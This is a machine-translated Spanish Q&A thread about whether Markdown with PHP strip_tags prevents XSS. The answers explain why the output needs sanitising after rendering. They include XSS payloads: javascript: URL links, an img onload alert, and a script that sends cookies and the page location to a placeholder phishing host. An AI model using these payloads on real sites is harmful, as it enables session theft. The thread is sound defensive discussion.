2009-08-04 13 views
9

Estoy trabajando en una aplicación web que permite a los usuarios escribir descripciones breves de los elementos en un catálogo. Permitiré Markdown en mis áreas de texto para que los usuarios puedan formatear HTML.¿Markdown (con strip_tags) es suficiente para detener los ataques XSS?

Mi función de texto sanitización quita todas las etiquetas de cualquier texto introducido antes de insertarla en la base de datos:

public function sanitizeText($string, $allowedTags = "") { 
    $string = strip_tags($string, $allowedTags); 

    if(get_magic_quotes_gpc()) { 
     return mysql_real_escape_string(stripslashes($string)); 
    } else { 
     return mysql_real_escape_string($string); 
    } 
} 

En esencia, todo lo que estoy almacenando en la base de datos es de rebajas - ningún otro HTML, incluso "básica HTML "(como aquí en SO) está permitido.

¿Permitir que el descuento presente alguna amenaza a la seguridad? ¿Puede marcarse XSSed, aunque no tenga etiquetas?

Respuesta

9

Creo que eliminar cualquier etiqueta HTML de la entrada le proporcionará algo bastante seguro, excepto si alguien encuentra una manera de inyectar datos realmente desordenados en Markdown, haciendo que genere aún más salida defectuosa ^^

sin embargo, aquí hay dos cosas que vienen a la mente:

primera:strip_tags no es una función milagro: tiene algunos defectos ...
Por ejemplo, va a pelar todo después de la '<', en una situación como esta:

$str = "10 appels is <than 12 apples"; 
var_dump(strip_tags($str)); 

La salida que recibo es:

string '10 appels is ' (length=13) 

que no es tan agradable para sus usuarios :-(


segunda: un día u otro, es posible que querer permitir algunas etiquetas/atributos HTML; o, incluso hoy, es posible que desee asegurarse de que Markdown no genere algunas etiquetas/atributos HTML.

Puede que le interese algo como HTMLPurifier: le permite especificar qué etiquetas y atributos se deben conservar, y filtra una cadena, para que solo queden esos.

También genera código HTML válido - que siempre es agradable ;-)

+0

@ person-b: gracias por la edición; usted por supuesto está en lo cierto ^^ –

+0

HTMLPurifier se ve increíble. – Andrew

+0

Es un poco, por lo que escuché/usé ;-) –

2

¿Permitirá que el descuento presente amenazas de seguridad? ¿Puede marcarse XSSed, a pesar de que no tiene etiquetas?

Es casi imposible hacer afirmaciones absolutas al respecto: ¿quién puede decir qué es lo que el analizador de rebajas puede ser engañado con una entrada suficientemente mal formada?

Sin embargo, el riesgo es probablemente muy bajo, ya que es una sintaxis relativamente simple. El ángulo de ataque más obvio sería javascript: URL en enlaces o imágenes, probablemente no permitido por el analizador, pero es algo que debería verificar.

+0

El riesgo está ahí y Markdown es extraordinariamente fácil de comprometer. Ver mi respuesta –

0

BBcode proporciona más seguridad porque está generando las etiquetas.

< img src = "" onload = "javascript: alert (\ 'jaja \');"/>

Si se permite que <img>, esto va a ir directamente a través strip_tags;) Bam!

+0

"Más seguridad"? ¿Duh? – bart

+0

Markdown funciona de la misma manera. –

3

Desinfectar el código HTML resultante después de la prestación del Markdown va a ser más segura. Si no lo hace, creo que la gente sería capaz de ejecutar código JavaScript arbitrario en Markdown así:

[Click me](javascript:alert\('Gotcha!'\);) 

PHP Markdown convierte esto a:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p> 

¿Qué hace el trabajo. ... y ni siquiera pienses en comenzar a agregar código para ocuparte de estos casos. La desinfección correcta no es fácil, solo use una buena herramienta y aplíquela después de convertir su Markdown en HTML.

7

He aquí un bello ejemplo de por qué es necesario desinfectar el código HTML después y no antes: Código

de rebajas:

> <script type="text/javascript" 
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l=' 
> + escape\(window.location\) + '&c=' + escape\(document.cookie\); 
> </script> 
> 

representa como:

<blockquote> 
<p><script type="text/javascript" 
language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l=' 
+ escape(window.location) + '&amp;c=' + escape(document.cookie); 
</script></p> 
</blockquote> 

Ahora te preocupa?

1

No. La forma en que usa Markdown no es segura. Markdown se puede usar de forma segura, pero tiene que usarlo correctamente. Para detalles sobre cómo usar Markdown de forma segura, mira here. Consulte el enlace para obtener detalles sobre cómo usarlo de manera segura, pero la versión corta es: es importante utilizar la última versión, establecer safe_mode y establecer enable_attributes=False.

El enlace también explica por qué escaparse de la entrada y llamar a Markdown (como lo hace) no es suficiente para estar seguro. Ejemplo corto: "[clickme](javascript:alert%28%22xss%22%29)".

Cuestiones relacionadas